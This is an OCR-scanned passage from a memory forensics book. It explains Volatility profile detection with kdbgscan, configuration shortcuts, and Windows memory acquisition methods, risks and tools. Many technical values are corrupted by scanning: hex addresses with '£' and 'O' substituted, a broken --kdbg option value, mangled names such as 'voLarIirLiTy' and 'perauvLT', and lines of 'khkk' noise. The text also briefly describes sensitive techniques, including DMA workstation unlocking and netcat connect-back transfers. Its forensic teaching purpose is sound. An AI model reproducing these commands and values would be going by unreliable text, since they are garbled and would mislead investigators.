was collected; the number of CPUs; some characteristics of the AS, such as whether
PAE is enabled; and the directory table base (DTB) value used for address translation.

You may notice that multiple profiles are suggested because the identified operating
systems share many features that can make them appear very similar. The logic that
imageinfo uses to guess profiles is actually based on the functionality provided by the
second plugin, kdbgscan. The name of the plugin gives you an idea of how the potential
profiles are guessed: It finds and analyzes characteristics of the kernel debugger data
block ( KDDEBUGGER DATA64).

The debugger data structure is typically located inside the NT kernel module
(nt ! KdDebuggerDataBlock). It contains a build string such as 3790.srv03_sp2_rtm.070216-
1710, numerical values that indicate the major and minor build numbers, and the service
pack level for the target operating system. An example of this plugin’s output follows:
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$ python vol.py -f memory.raw kdbgscan
Volatility Foundation Volatility Framework 2.4

khkkkhkhkkhkhkkhkhkhkhkhkhkhkhkhkhkhkhkdkhkhkhkhkhkhkhkhkhkdkhkhkhkhkdkhkhkhkhkdkhkhkhkhkhhkkhkx

Offset (V) : 0x£80002803070

Offset (P) : 0x2803070

KDBG owner tag check : True

Profile suggestion (KDBGHeader): Win7SP0x64

Versioné4 : 0x£80002803030 (Major: 15, Minor: 7600)
Service Pack (CmNtCSDVersion) : 0

Build string (NtBuildLab) : 7600.16385.amd64fre.win7 rtm.090
PsActiveProcessHead : Oxfff£f£80002839b30 (32 processes)
PsLoadedModuleList : Oxfff££80002857e50 (133 modules)
KernelBase : Oxfff££8000261a000 (Matches MZ: True)
Major (OptionalHeader) )

Minor (OptionalHeader) 1

KPCR : 0xff££f£80002804d00 (CPU 0)

As you can see, all signs seem to indicate that this memory. raw file is from a 64-bit
Windows 7 Service Pack 0 machine. Thus, you can now supply --profile=win7spox64
when running other plugins. Because the debugger data block also contains pointers to
the start of the active process and loaded module lists, the kdbgscan plugin can tell you
how many items are in each list. In this case, there are 32 processes and 133 modules.
These values can help you distinguish between cases where a “stale” debugger data block
is found (discussed next in the issues section).

NOTE

Both the imageinfo and kdbgscan plugins are Windows-only. As you will learn in Part
III (Linux) and Part IV (Mac) of the book, there are alternate ways to determine the
correct profile for other operating systems.

Issues with Profile Selection

Volatility scans for the XppEBUGGER_DATA64 by looking for constant values embedded in
the structure, including the hard-coded 4-byte signature of xpBc. These signatures are
not critical for the operating system to function properly, thus malware running in the
kernel can overwrite them in attempt to throw off tools that rely on finding the signature.
Other memory forensics tools look at the compile date/time in the NT kernel module’s
PE header, which is also nonessential and subject to malicious tampering. This is why
Volatility provides a --profile option in the first place: If automated OS detection fails
(due to intentional or accidental modifications), you can manually override.
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WARNING

At Blackhat 2012, Takahiro Haruyama and Hiroshi Suzuki presented One-byte Modifica-
tion for Breaking Memory Forensic Analysis (see https://media.blackhat.com/bh-eu-12/
Haruyama/bh-eu-12-Haruyama-Memory Forensic-Slides.pdf). This anti-forensic tech-
nique involved, for example, changing one byte (known as an abort factor) of the KDBG
signature so that it isn’t properly recognized by automated memory analysis tools.

Additionally, in some cases there may be more than one _XDDEBUGGER_DATA64 structure
resident in physical memory. This can happen if the target system hasn’t rebooted since
applying a hot patch that updated some kernel files, or if the machine rebooted so quickly
that the entire contents of RAM was not flushed (thus you pick up residual structures,
similar to how a cold book attack works). Finding multiple debugger data structures
can lead to incorrect process and module listings, so it is important to be aware of this
possibility.

Notice in the following command that kdbgscan picks up two structures:

An invalid one (with 0 processes and 0 modules) found at address ox£80001172cbo
A valid one (with 37 processes and 116 modules) found at address 0x£80001175c£0

$ python vol.py -f Win2K3SP2x64.vmem --profile=Win2003SP2x64 kdbgscan
Volatility Foundation Volatility Framework 2.4
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Instantiating KDBG using: Kernel AS Win2003SP2x64 (5.2.3791 64bit)

Offset (V) : 0x£80001172cb0

Offset (P) : 0x1172cb0

KDBG owner tag check : True

Profile suggestion (KDBGHeader): Win2003SP2x64

Version64 : 0x£80001172c70 (Major: 15, Minor: 3790)
Service Pack (CmNtCSDVersion) : 0

Build string (NtBuildLab) ¢ T?

PsActiveProcessHead : Oxfff£f£800011947f0 (0 processes)
PsLoadedModuleList : 0xfffff80001197acO0 (0 modules)
KernelBase : Oxfff£f£80001000000 (Matches MZ: True)
Major (OptionalHeader) : 5

Minor (OptionalHeader) : 2

khkkhkkkkkkhkhhkkhkhkhhhhkhhkhkhdhhhkhkhdhhhkhkhkhhhhkhkhkhkhkddhrkhkrd

Instantiating KDBG using: Kernel AS Win2003SP2x64 (5.2.3791 64bit)

Offset (V) : 0xf80001175cf0
Offset (P) : 0x1175cfo0
KDBG owner tag check : True

Profile suggestion (KDBGHeader): Win2003SP2x64
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Version64 : 0x£80001175¢cb0 (Major: 15, Minor: 3790)
Service Pack (CmNtCSDVersion) : 2

Build string (NtBuildLab) : 3790.srv03_sp2_rtm.070216-1710
PsActiveProcessHead : Oxfffff800011977f0 (37 processes)
PsLoadedModuleList : 0xfffff8000119aael0 (116 modules)
KernelBase : Oxffff£f80001000000 (Matches MZ: True)
Major (OptionalHeader) : 5

Minor (OptionalHeader) : 2

KPCR : 0xff£££80001177000 (CPU 0)

As previously mentioned, many Volatility plugins rely on finding the debugger data
block and then walking the active process and loaded module lists. By default, these
plugins accept the first debugger structure they find via scanning; however, as you
just witnessed, the first choice is not always the best choice. In these cases, after man-
ually verifying the more accurate value with kdbgscan, you can set the global option
--kdbg=0x£80001175c£0. This not only ensures that Volatility uses the correct value but
it also saves you time when executing multiple commands because there is no longer a
need to perform a scan.

Alternatives to Command-Line Options

If you're about to enter a lengthy engagement and don’t want to type the path to your
memory dump, the profile name, and other options each time, you can take a few short-
cuts. Volatility can search environment variables and configuration files (in that order)
for options if they are not supplied on the command line. That means you can set options
once and reuse them throughout an investigation, which is a big time-saver.

On a Linux or Mac analysis system, you can set options by exporting them in your
shell, as shown here:

$ export VOLATILITY PROFILE=Win7SP0x86

$ export VOLATILITY LOCATION=file:///tmp/myimage.img

S python vol.py pslist
$ python vol.py files

A few important points you should note about setting options this way:

Naming convention: You should name your environment variables according
to the original option, but prefixed with voLarIirLiTy. For example, instead of
setting - -profile on the command line, the equivalent environment variable is
VOLATILITY PROFILE.

Location versus filename: When setting the path to your memory dump file, use
VOLATILITY LOCATION and be sure to prefix the path with file:/// (even if you're
performing the analysis on a Windows machine).
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Persistence: The environment variables you set this way are valid only while your
current shell is open. Once you close it, or if you open another shell, you must reset
the variables. Alternately, you can add the variables to your ~/.bashrc file or /etc/
profile (this may vary depending on your OS) so they can initialize with each shell.

Using configuration files is equally as easy. By default, Volatility looks for a file named
.volatilityrc in the current directory or ~/.volatilityrc (in your user’s home direc-
tory), or in a path specified using the --conf-file option. The configuration file uses the
standard INI format. Make sure that you have a section named perauvLT, followed by the
options you want to set. The options in this case are not prefixed with vorarirITy.

[DEFAULT]

PROFILE=Win7SP0x86
LOCATION=file:///tmp/myimage.img

Once you set these options using either method described in this section, you can use
Volatility plugins such as python vol.py pslist, and you do not have to worry about
typing the rest of the options.

Controlling Plugin Output

By default, plugins generate text-based results and write them to standard output, which
is usually your terminal. However, some plugins can generate very verbose output, mak-
ing it difficult for you to scan back through the results—especially if they scroll fast and
your terminal saves only the last 50 or 100 lines. Thus, redirecting output to a text file
that you can review at a later time is a common practice. There are a few ways to do this,
as shown by the following commands:

$ python vol.py pslist > pslist.txt
S python vol.py pslist --output-file=pslist.txt

The first command simply uses the terminal’s redirection capability, and the second
one uses Volatility’s - -output-file option. Both generate a text file with the results from
the pslist plugin. The only reason we mention both techniques is because it leads to the
discussion of requesting output in a format different from a text-based format. You can
do this on a per-plugin basis, provided that the plugins support other output modes. For
example, the mftparser plugin can show results in the popular body format (http: //wiki
.sleuthkit.org/index.php?title=Body file)if you call it with the - -output=body option.
Another example is the impscan plugin, which you can call with - -ocutput=idc to gener-
ate output in the IDA Pro scripting language. In the future, plugins may globally support
outputting data in JSON, XML, CSV, HTML, or other formats.
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Summary

The Volatility Framework is the result of years worth of research and development from
tens, if not hundreds, of members of the open source forensics community. The framework
provides the capabilities to solve complex digital crimes involving malware, intelligent
threat actors, and the typical white- and blue-collar offenses. Now that you know how
to install and configure Volatility, youre ready to begin capturing memory samples and
analyzing them. The advanced analysis techniques and implementations presented later
in the book will allow you to use the software to your full potential. If the need arises, you
also have gained a familiarity with the Volatility internals (such as profiles, plugins, and
address spaces), which will help you to develop your own extensions and customizations.






emory acquisition (i.e., capturing, dumping, sampling) involves copying the contents of

volatile memory to non-volatile storage. This is arguably one of the most important
and precarious steps in the memory forensics process. Unfortunately, many analysts blindly
trust acquisition tools without stopping to consider how those tools work or the types of
problems they might encounter. As a result, they end up with corrupt memory images,
destroyed evidence, and limited, if any, analysis capabilities. Although this chapter focuses
on Windows memory acquisition, many of the concepts apply to other operating systems.
You'll also find Linux and Mac OS X-specific discussions in their respective chapters.

Preserving the Digital Environment

Although the main focus of this book is analyzing the data stored in volatile memory,
the success of that analysis often depends at the outset on the acquisition phase of the
investigation. During this phase, the investigator must make important decisions about
which data to collect and the best method for collecting that data. Fundamentally, memory
acquisition is the procedure of copying the contents of physical memory to another stor-
age device for preservation. This chapter highlights the important issues associated with
accessing the data stored in physical memory and the considerations associated with writ-
ing the data to its destination. The particular methods and tools you use often depends on
the goals of the investigation and the characteristics of the system you are investigating.

A digital investigator seeks to preserve the state of the digital environment in a manner
that allows the investigator to reach reliable inferences through analysis. The data stored
on disk and in RAM provide two of the most important components of that environment.
Traditional views of digital investigation focused on the assumption that the reliability of
the inferences was entirely dependent on acquiring evidence without changing its state.
For example, the commonly accepted evidence handling procedures involved powering
off a system and making a duplicate copy (imaging) of the data on the disk storage device
for offline analysis. These acquisition processes and procedures focused on minimizing
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the distortion to the file system data at the expense of destroying the other data sources
(i.e, RAM, device memory), which also help compose the digital environment.

As the digital investigation field has evolved, it has become obvious that the selective
preservation of some evidence at the expense of other equally important evidence may
also impact the reliability of the derived inferences. This is particularly important when
malicious actors seek to exploit the limitations of traditional digital forensic evidence-
gathering techniques. By correlating data from multiple sources (disk, network, memory,
etc.) within the digital environment, you can often get a better understanding of what
happened on the system than the limited perspective that the contents of disk storage pro-
vides alone. In order to include these alternate sources, you must accept that all acquisition
methods, including traditional disk acquisition procedures, will result in some distortion
to the digital environment. Investigators must be aware of how those distortions could
impact their analysis and the order that they must collect the data to reduce that impact.
The course of action is often prioritized based on the order of decreasing volatility (i.e.,
evidence that changes more rapidly is acquired before evidence that is more stable). As
a practical matter, this means that volatile memory evidence needs to be acquired first.

For example, in most situations you cannot create a conventional notion of an “image” of
physical memory if the runtime state of the machine changes while you acquire memory.
A more appropriate description of “imaging memory” is a sampling of the state of physi-
cal memory at a given point in time. Theoretically, it might be possible to refer to the
acquisition of discrete units of memory (pages), as “imaging” those pages but the state of
physical memory as a whole cannot be directly measured and must be inferred from the
state of these individual samples. Although the process of acquiring a sample of physical
memory may add uncertainty in the collection phase, the additional information it yields
might result in greater confidence in the investigator’s analysis and less distortion of the
actual facts of the investigation.

Acquisition Overview

As previously mentioned, memory acquisition is not a trivial task. You'll need a versatile
tool set and the ability to adapt your techniques based on the specifics of each case and
the environments that you encounter. Figure 4-1 shows a relatively simplistic decision tree
based on some, but certainly not all, of the common factors you'll encounter in the field.
For example, one of the first questions you'll need to ask is whether the target system(s)
is a virtual machine (VM). This can have a huge impact on your methodologies, because
if the target is a VM, you may have options for acquiring memory-using capabilities that
the hypervisor provides for pausing, suspending, taking a snapshot, or using introspec-
tion. However, it is important to be familiar with the different virtualization platforms
and their respective capabilities because some products require special steps and store
VM memory in proprietary formats.
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Figure 4-1: A diagram of some of the initial factors you'll need to consider
before acquiring memory

If the target system is “bare metal,” such as a laptop, desktop, or server, you need to deter-
mine whether it is currently running (remember that the machine might not always be in
your physical possession). If it’s hibernating or powered down, the current state of memory
is not volatile. But, in many cases, recent volatile data may have been written to more persis-
tent storage devices such as the hard disk. These alternate sources of data include hiberna-
tion files, page files, and crash dumps. Acquiring memory from non-volatile sources entails
booting the target system(s) with a live CD/DVD/USB to access its disk or making a forensic
duplication of the disk image and mounting it (read-only) from your analysis workstation.

A running system provides the opportunity to acquire the current state of volatile
memory but you'll need administrator-level privileges. If a suspect or victim is already
logged on with an admin account, or if theyre cooperating with your investigation (such
as to provide the proper credentials) youre in luck. You also might have admin access
due to your status as an investigator (credentials were provided to you by the backing
corporation). In these scenarios, you can use a software-based utility, which we'll describe
shortly. Otherwise, the options are not so straightforward. It might be possible to gain
admin access through a privilege escalation exploit (an offensive tactic that may invalidate
the forensic soundness of your evidence) or by brute force password guessing.
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Another option is hardware-assisted acquisition. In this case, you do not need cre-
dentials for the target system(s)—physical access suffices. You'll rely on Direct Memory
Access (DMA) using a technology such as Firewire, Thunderbolt, ExpressCard, or PCI.
The downside to this method is that unless the target machine is already equipped with
a device (or if it supports hot swapping devices), you have to power down the target
system to install the required hardware adaptors (and doing so destroys your volatile
evidence). Other disadvantages include the fact that Firewire only permits acquisition of
the first 4GB of RAM, which can severely limit your success for large-memory systems.
Additionally, PCI devices for memory acquisition are extremely rare, so theyre also quite
expensive. In fact, we currently know only one product that’s commercially available and
costs about $8,000 USD (WindowsSCOPE).

When the factors lead you in the direction of software-based acquisition, you still have
many decisions to make. Consider the following points:

Remote versus local: Do you (or a fellow investigator) have physical access to the
target system(s)? A case can quickly become complicated if the computer is located
in another state or country. Also, you might encounter situations in which the target
is a server with no keyboard or monitor attached, sitting in a security or network
operations center. In these situations, remote acquisition (over the network) might
be your only option.

Cost: Do you have budgetary restrictions on the acquisition software you can buy?
Obviously, the restriction will affect which tools are available to you.

Format: Do you require memory in a specific file format? Later in the chapter, we’'ll
describe how many analysis tools have limitations on the formats they support.
However, you can always convert between formats if you initially capture memory
in a format that’s incompatible with your desired analysis tool(s).

CLI versus GUI: Do you prefer command-line or graphical user interface (GUI)
tools? There is a common bias that GUI tools leave a larger footprint on the target and
have a larger attack surface area, so they’re bad for forensic acquisitions. However,
a well-written GUI produces far less noise than a poorly written command-line tool.
Also, you might not have console access or Virtual Network Computing (VNC)/
Remote Desktop Protocol (RDP) services on which to run GUI applications.
Acquisition versus runtime interrogation: Do you need a full physical memory
dump or just the ability to determine the running processes, network connections,
and so on? Do you need to continuously poll the system for changes? In corporate
environments with hundreds or thousands of systems, it’s not practical to acquire
full memory dumps just to check for the existence of a particular indicator. Instead,
you can perform a quick sweep throughout the enterprise, checking a few specific
areas of memory on each machine.
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We're often asked this question—what tool should I use for acquiring memory? There’s
really no clear-cut answer. The right tool for a particular job depends on the job. After
you determine the specifics of the case, you can focus on selecting a tool that best sup-
ports your goals. Later in the chapter we present some specific precautions you should
take when performing acquisitions.

The Risk of Acquisition

Before you acquire physical memory from a suspect system, you should always consider
the associated risk. Because most OSs do not provide a supported native mechanism for
acquiring physical memory, you'll use the system in a manner that might leave it in an
unexpected state. In addition, a system with poorly written malware can be unstable and
may behave in an unpredictable way. The decision to acquire physical memory requires
you to balance the benefit of acquiring the data against the inherent risk(s) associated with
the acquisition procedure. For example, if the target is a mission-critical system that can
be shut down or rebooted only in extreme circumstances, you must be prepared to justify
why acquiring memory is vital to your investigation. There may even be circumstances
in which the consequences (i.e., death, environmental damage) of destabilizing a system
are never worth the risk.

NOTE

It is important that the person who will bear the consequences of the risks (e.g., the sys-
tem owner, the client, your supervisor) be fully informed before the risks are assumed.
On an organizational level, this means that you need to have policies in place that
address when acquisition of physical memory and other volatile evidence is appropri-
ate within the incident-response context before an incident actually occurs.

The following sections describe some of the major reasons why memory acquisition can
lead to system instabilities and evidence corruption. It is important to note that although
we use Microsoft Windows in the following examples, the problems are not specific to
any OS—they are functions of the processor and hardware architecture.

Atomicity

An atomic operation is one that appears (to the rest of the system) to complete instanta-
neously, without interruption from concurrent processes. Memory acquisition is not an
atomic operation, because the contents of RAM are constantly changing, even on an idle
system and especially during the acquisition process. As Dan Farmer and Wietse Venema
wrote “Memory [...] can change so rapidly that recording even the bulk of those fluctuations in
an accurate and timely fashion is not possible without dramatically disturbing the operation of a
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typical computer system” (see Forensic Discovery). Thus, it’s inevitable that your acquisition
tool will alter the system (in ways that should be documented). During acquisition, other
processes are writing memory, the kernel is adding/removing linked-list elements, net-
work connections are being initiated or torn down, and so on.

In the best case, you'll acquire evidence that can help you infer the current state of the
system, and to some degree the past activities that were performed recently. Note, how-
ever, that the current state could be the time when the acquisition started, when it ended,
or at any moment in between—depending on the order in which the physical memory
pages, containing the data in question, were collected. In the worst case, you'll end up
with a corrupted memory dump that analysis tools cannot process, because the capture
of particular page(s) occurred after a critical operation began but before it finished.

Device Memory

Physical memory is a logical addressing scheme that permits disparate motherboard
resources to be accessed (or “addressed”) in a uniform manner. On x86/x64—based com-
puters, the firmware (BIOS) provides a physical memory map to the OS with different
regions marked as reserved for use by the firmware, by the ISA or PCI busses, or by
various motherboard devices. These regions are henceforth referred to as device-memory
regions.

Figure 4-2 shows a simplified diagram of the physical memory layout, when you con-
sider these “holes” that exist due to device-memory regions. On 32-bit systems with less
than 4GB of memory, the “holes” cause the total amount of memory available to the OS to
be slightly less than the advertised capacity of the RAM chips (this is known as the “32-bit
client effective memory limit”). For more information, see Pushing the Limits of Windows:
Physical Memory by Mark Russinovich (http: //blogs.technet.com/b/markrussinovich/
archive/2008/07/21/3092070.aspx). Notice how the MnGet PhysicalMemoryRanges function
omits the ranges of physical memory that are reserved by devices. In other words, using
this API avoids the device-memory regions.

Inadvertently reading from one of these reserved regions can be dangerous. Depending
on the nature of the device you access, reading from a physical address within the region
may obtain data stored at that location or alter the state of the device you're accessing. There
are, for example, physical addresses that are mapped to device registers that change the
state of the device each time the physical location is read. This change might confuse
device drivers or firmware that depend on the values in those registers, ultimately caus-
ing the system to freeze. This freezing or hanging is especially common when addresses
occupied by the video chipset, High Precision Event Timer (HPET), or obscure, legacy PCI
devices are read. As an additional challenge, most of these devices are not designed to
accommodate simultaneous access from more than one processor at a time.
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Figure 4-2: The physical memory layout for an x86/x64 compatible system shows various holes due
to device-memory regions

Despite the risk involved in acquiring device-memory regions, doing so can yield
evidence with high forensic value. For example, data in these regions might contain the
real mode interrupt vector table (IVT) with artifacts left by firmware-based rootkits. You
can also find evidence of BIOS rootkits that inject code at the top of real mode memory.
Additionally, you can use the CMOS region to change the boot order and the IOAPIC
indirect access registers to re-route interrupts. Of the software-based memory acquisition
tools discussed later in the chapter, only KnTDD from GMG Systems can acquire these
regions with a reasonable level of reliability and accuracy.

WARNING

As shown in Mark’s article, you can see the ranges of reserved physical memory using the
Device Manager (View = Resources by Connection). Programmatically, you can enumer-
ate them with the win3 2 DeviceMemoryAddress WMI class (http ://msdn.microsoft.com/
en-us/library/aa394125%28v=vs.85%29.aspx). Both methods ultimately rely on data in
the volatile HARDWARE registry hive. Thus, malicious code can add values to hide memory
among the reserved regions. In some cases, this might serve as an anti-forensics technique
(the malware can avoid being acquired).
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Cache Coherency

Modern processors are designed with one or more internal memory caches to improve per-
formance. A page table entry may be programmed with different memory cache attributes
(non-cached, cached, write-combined) that determine the way in which the processor
accesses a physical memory page. These processors have a documented design limitation:
They are not designed to accommodate the simultaneous mapping of the same physical
address with multiple cache attributes. Doing so might lead to undefined behavior on
the part of the processor, including but not limited to translation lookaside buffer (TLB)
corruption and corruption of the data at the specified memory address. Thus, a poorly
written acquisition tool can easily invalidate the very memory being acquired. See Intel®
64 and 1A-32 Architectures Developer’s Manual, Vol. 3A § 11.12.4.

Cache coherency is one of the major reasons why Microsoft cautions Windows driver
developers not to map physical pages unless their driver has directly allocated the mem-
ory through an API that guarantees no other system component has mapped the same
memory range with a different Caching type (http ://msdn.microsoft.com/en-us/library/
windows/hardware/f£566481%28v=vs.85%29.aspx). A common misconception is that acqui-
sition tools are protected against cache conflicts if they use zwMapviewofSection to map
physical pages from \Device\PhysicalMemory. Although this might be true for some ver-
sions of Windows, it doesn't apply to all releases; nor does it prevent cache conflicts when
mapping memory pages that are not currently allocated.

In Windows 2000, the API allowed conflicting cache attributes to be specified (see
http://ntsecurity.nu/onmymind/2006/2006-06-01. html). Starting with Windows XP, the
API performs a comparison of the requested and existing attributes and fails harmlessly
by returning a STATUS_CONFLICTING_ADDRESSES error if there is a mismatch. However,
starting with Windows 7 and 2008 R2, this error is no longer generated. Current versions
of Windows silently substitute the cache attributes that are stored in the PFN database,
even if the target page is not currently allocated and values in the corresponding PFN
database entry are no longer valid.

When to Acquire Memory

Choosing the proper time to gather physical memory evidence depends on a number of
factors. The following points are merely suggestions, not rules. For example, if you are
collecting evidence from a suspect’s computer you might want to plan your acquisition so
that the suspect is online (or at least logged in) at the time, which can give you access to
the suspect’s logon session, information about cloud services or remote storage to which
they might have access, and any encrypted documents that the suspect might have been
viewing. On the other hand, if you are gathering evidence from a victim’s computer, you
might want to time your acquisition when the suspect is not active to avoid tipping off
the suspect. Collecting network session data to and from the victim computer for some
time prior to the acquisition can help you make this determination.
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WARNING

Collecting comprehensive network session data on-site may be difficult if the adver-
sary detects your sniffer, or if wireless-, Bluetooth-, or software-defined radio (SDR)
networks are present and offer alternate network paths. But these alternate network
paths typically coalesce onto a wired or fiber network backbone at some point that may
offer a more strategic location to install a network tap.

Remember that, in most cases, you are collecting evidence from a running computer
system. Increasing the amount of change that occurs while you collect memory evidence
might increase the number of anomalies you encounter when you analyze the evidence.
If possible, avoid collecting memory evidence during periods of dramatic change such as
during system startup, shutdown, or while system maintenance tasks are running (i.e.,
disk defragmentation, full virus scans, system backups). It is also recommended to limit
your interaction with the machine until the acquisition has completed.

How to Acquire Memory

After you determined an opportune time to acquire memory, you still have a number of
important precautions to consider. This section focuses on the most common-use cases and
their associated caveats, which can quickly turn into major blowbacks if you're not careful.

Local Acquisition to Removable Media

In this case, youre dumping memory to an external USB, ESATA, or Firewire drive con-
nected to the target system. It is never recommended to dump memory to the target system’s
local drives, such as the c: partition, because this will overwrite a significant amount of evidence
that may be relevant to your case (i.e., slack space). Due to the size of RAM on modern com-
puters, you'll want to ensure the destination drive is formatted with NTFS or other high-
performance file system. Also, be aware that malware often spreads by infecting external
media. The following points provide additional advice for local acquisitions:

Never attach the same removable media to more than one possibly infected com-
puter to avoid spreading the infection while you are gathering evidence.

Do not plug possibly infected removable media directly into your forensic work-
station. Connect the media to an intermediate “sacrificial” system and inspect it.
Then copy the evidence to your forensic workstation over a small, isolated network
(e.g., across a hub or non-managed switch).

Always forensically “sterilize” (securely erase) removable media before using (or
re-using) it to acquire evidence.
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NOTE

If the malware infects the firmware on the removable media, forensic “sterilization”
will not be sufficient to mitigate the risk of infection through media reuse.

Remote Acquisition

In a primitive remote acquisition scenario, you typically push tools over the network to
the target machine via PsExec (http://technet .microsoft.com/en-us/sysinternals/
bb897553.aspx) Or by copying them to a c¢s or apMINS share via Server Message Block
(SMB). You can then schedule a task or install a service on the target system that runs
the tool(s) and sends the contents of physical memory back to you via a netcat listener
or other connect-back protocol. The major issues with this method are the exposure of
administrator credentials and the contents of the target system’s RAM being sent in plain
text over the network. Main computer memory contains a lot of sensitive information that
might be disclosed when acquired in plain text over an open network.

In domain or enterprise environments, domain admin credentials provide a conve-
nient way to access the target system; however, if the target computer is already compro-
mised, the attackers may recover the generated authentication tokens from memory for
use in Pass the Hash attacks (http ://www.microsoft.com/security/sir/strategy/default
.aspxi# ! password_hashes). A better solution is to create a temporary admin account that
only permits access to the target system. Then, disable the temporary admin account after
acquisition is complete and audit subsequent attempts to use the credentials. You can also
look into blocking connections from the target machine in the firewall or router (except
to/from the systems involved in the remote acquisition). This prevents any malware or
attackers from using the stolen credentials to further infiltrate the network.

Acquisition to a network share should be used only as a last resort but may be neces-
sary in some limited cases. Starting with SMB 3.0 (Windows Server 2012), end-to-end
encryption is supported. Also, some tools (e.g., CryptCat, KnTDD, F-Response Enterprise)
support acquisition of evidence over the network using SSL/TLS. You might also consider
compressing the evidence before transferring it over the network to reduce the required
time and bandwidth. Remember to compute integrity hashes before and after the transfer,
to ensure your evidence didn't change during the transmission.

NOTE

Encryption of the communications channel does not prevent information disclosure
where the adversary already owns one end of the communications channel, or can
perform a Man-in-the-Middle (MITM) attack.
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Runtime Interrogation

Runtime interrogation enables you to quickly sweep across an entire enterprise and check
for specific indicators in physical memory (instead of capturing a full memory dump
from each system). You typically execute this type of analysis in an automated capacity.
Various commercial suites provide enterprise-level capabilities for interrogating physical
memory, such as F-Response, AccessData Enterprise, and EnCase Enterprise.

Hardware Acquisition

Due to the limitations mentioned earlier, this book doesn’t cover hardware-based acquisi-
tions in depth. However, it’s worth mentioning that Volatility does support acquisition and
interrogation of memory over Firewire. You'll need the libforensic1394 library (https://
freddie.witherden.org/tools/libforensic1394), the JuJu Firewire stack, and a special
invocation of Volatility. Note the -1 instead of - £ parameter:

$ python vol.py -1 firewire://forensicl394/<devno> plugin [options]

The <devno> is the device number (typically 0 if you're only connected to one Firewire
device). Use the imagecopy plugin to acquire memory or any other analysis plugin to inter-
rogate the running system, but be aware of the 4GB limit discussed previously.

Another use case for hardware-based memory analysis includes unlocking work-
stations. For example, the Inception tool by Carsten Maartmann-Moe (http://www
.breaknenter.org/projects/inception) finds and patches instructions that allow you to
log into password-protected Windows, Linux, and Mac OS X computers even without the
credentials. However, as stated on the tool’s website, if the required instructions aren’t
found in the lower 4GB of memory, it might not work reliably.

Software Tools

All software-based acquisition tools follow a similar protocol to acquire memory. In
particular, these tools work by loading a kernel module that maps the desired physical
addresses into the virtual address space of a task running on the system. At this point,
they can access the data from the virtual address space and write it to the requested
non-volatile storage. Acquisition software has two ways to make this virtual-to-physical
address mapping occur:

The approach that most, if not all, commercially available tools utilize involves
using an operating system API to create a page table entry. The typical func-
tions include: zwMapviewofSection (ONn \Device\PhysicalMemory), MuMapIoSpace,

MmMapLockedPagesSpecifyCache, and MmMapMemoryDumpMdl.
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A second possible approach uses other OS APIs to allocate an empty page table
entry and manually encode the desired physical page into the page table entry.

There are substantial risks associated with either approach. For example, the afore-
mentioned APIs for mapping physical to virtual memory all have a common limitation
in that none of them are intended for mapping pages that a driver does not own. In other
words, an acquisition tool isn't more stable than others just because it uses MmMapIospace
instead of MmMapMemoryDumpMdl (for example). One difference of memory management APIs
is that certain APIs (e.g., zwMapviewofsection) map the specified physical address into
the user mode address space of the acquisition application (where it might be accessed
by other user mode code), whereas other APIs map the physical address into the kernel
mode address space.

WARNING

Many tools can acquire memory using multiple methods so they can bypass certain
malware or OS safeguards (i.e., hooking MmMapIospace). For these reasons, Michael
Cohen and Johannes Stiittgen researched manual PTE remapping (see http://www
.dfrws.org/2013/proceedings/DFRWS2013-pl3.pdf) as an acquisition method that can
be resilient to anti-forensic techniques.

Acquisition tools also differ in the way that they identify the physical addresses to
include or exclude in the capture. Some tools start at physical address 0 and increment
the counter by the nominal page size until the expected (which is another factor in the
equation) limit of physical memory is reached. Most, if not all, tools are designed to skip
the device memory regions shown in Figure 4-2. This precaution makes the acquisition
process more stable, but misses a good deal of memory evidence that might contain arti-
facts of sophisticated rootkits. On the other hand, some applications provide options for
acquiring all physical addresses from page 0 to the perceived end of the physical address
space. This is more risky, particularly on systems that are equipped with more than 4GB
of memory, but has the potential to produce a more complete representation of the target
system’s memory. Ideally, you would use a tool that knows how to acquire relevant data
from device-memory regions without freezing or crashing the system. For example, if
the acquisition tool can identify the device that occupies the particular physical memory
region, the tool can use a method appropriate for that device.

Tool Evaluation

Unlike disk-imaging tools, formal specifications have not been developed nor have eval-
uations been conducted of memory-acquisition tools. In fact, it is still an area of open
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research and a topic of heated debates. One of the major challenges of evaluating memory
acquisition tools is that they might perform differently depending on the version of the
OS, the configuration of the operating system, and the hardware that is installed. It is also
important to emphasize that virtualization platforms are often far more predictable and
homogenous than real hardware, which means they might not provide a good indication
of how a tool will perform in the heterogeneous world of real hardware. Some promising
research is being done. For example, in 2013, Stefan Voemel and Johannes Stiittgen pub-
lished a research paper in which they presented An evaluation platform for forensic memory
acquisition software (http ://www.dfrws.org/2013/proceedings/DFRWS2013-11. pdf). In addi-
tion, GMG Systems, Inc., offers its customers a methodology for testing the accuracy and
completeness of its memory acquisition tools (MAUT).

From an operational perspective, the basic attributes of a trusted forensic acquisition
tool are that it must acquire evidence in a manner that is accurate, complete, documented,
and with robust error logging. A major problem among many current acquisition tools
is that when they fail (either altogether or while reading one or more pages) they often
silently fail. This problem prevents investigators from realizing that a problem even exists
until they reach the analysis phase (i.e.,, Volatility cannot list processes), at which point
it’s frequently too late to go back and acquire another memory image from the target
system. No evidence gathering technique is free from error. However, if an acquisition
tool reliably logs errors, then the analyst (or trier of fact) can decide how to deal with the
error. From an operational or evidentiary perspective, the worst scenario is not to know
what you have once you've completed evidence gathering.

Also keep in mind that just because a tool didn't crash or freeze the target machine, that
doesn’t mean it produced an accurate and complete memory “image.” On Microsoft Windows
systems, you can use the Microsoft driver verifier (https://support.microsoft.com/
kb/244617) to determine whether or not the tool vendor has exercised reasonable care in
the development of the tool. Aside from this, your best line of defense is testing the tool
on systems that resemble (as closely as possible) the systems on which you'll use them
in the field. Unfortunately this is not always feasible due to the various combinations of
hardware and software that exist.

Tool Selection

The following list shows commonly used memory acquisition tools, in no particular order.
This section is also not intended to give an exhaustive list of the features that respective
tools provide. Furthermore, we have not validated the claims nor had the opportunity
to use every feature described. So do not interpret this information as an evaluation or
endorsement of any particular product.
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GMBG Systems, Inc., KnTTools: This tool’s highlights include remote deployment
modules, cryptographic integrity checks, evidence collection over SSL, output com-
pression, optional bandwidth throttling, automatic collection of live user state data
for cross-referencing, pagefile capture, robust error logging, and rigorous testing
and documentation. It can also acquire ROM/EEPROM/NVRAM from the BIOS
and peripheral device memory (PCI, video card, network adapter).

F-Response: The suite of products from F-Response introduced a groundbreaking
new capability in memory forensics—the ability to interrogate live systems from
a remote location over a read-only iSCSI connection. F-Response presents a ven-
dor- and OS-agnostic view of the target system’s physical memory and hard disks,
which means you can access them from Windows, Mac OS X, or Linux analysis
stations and process them with any tool.

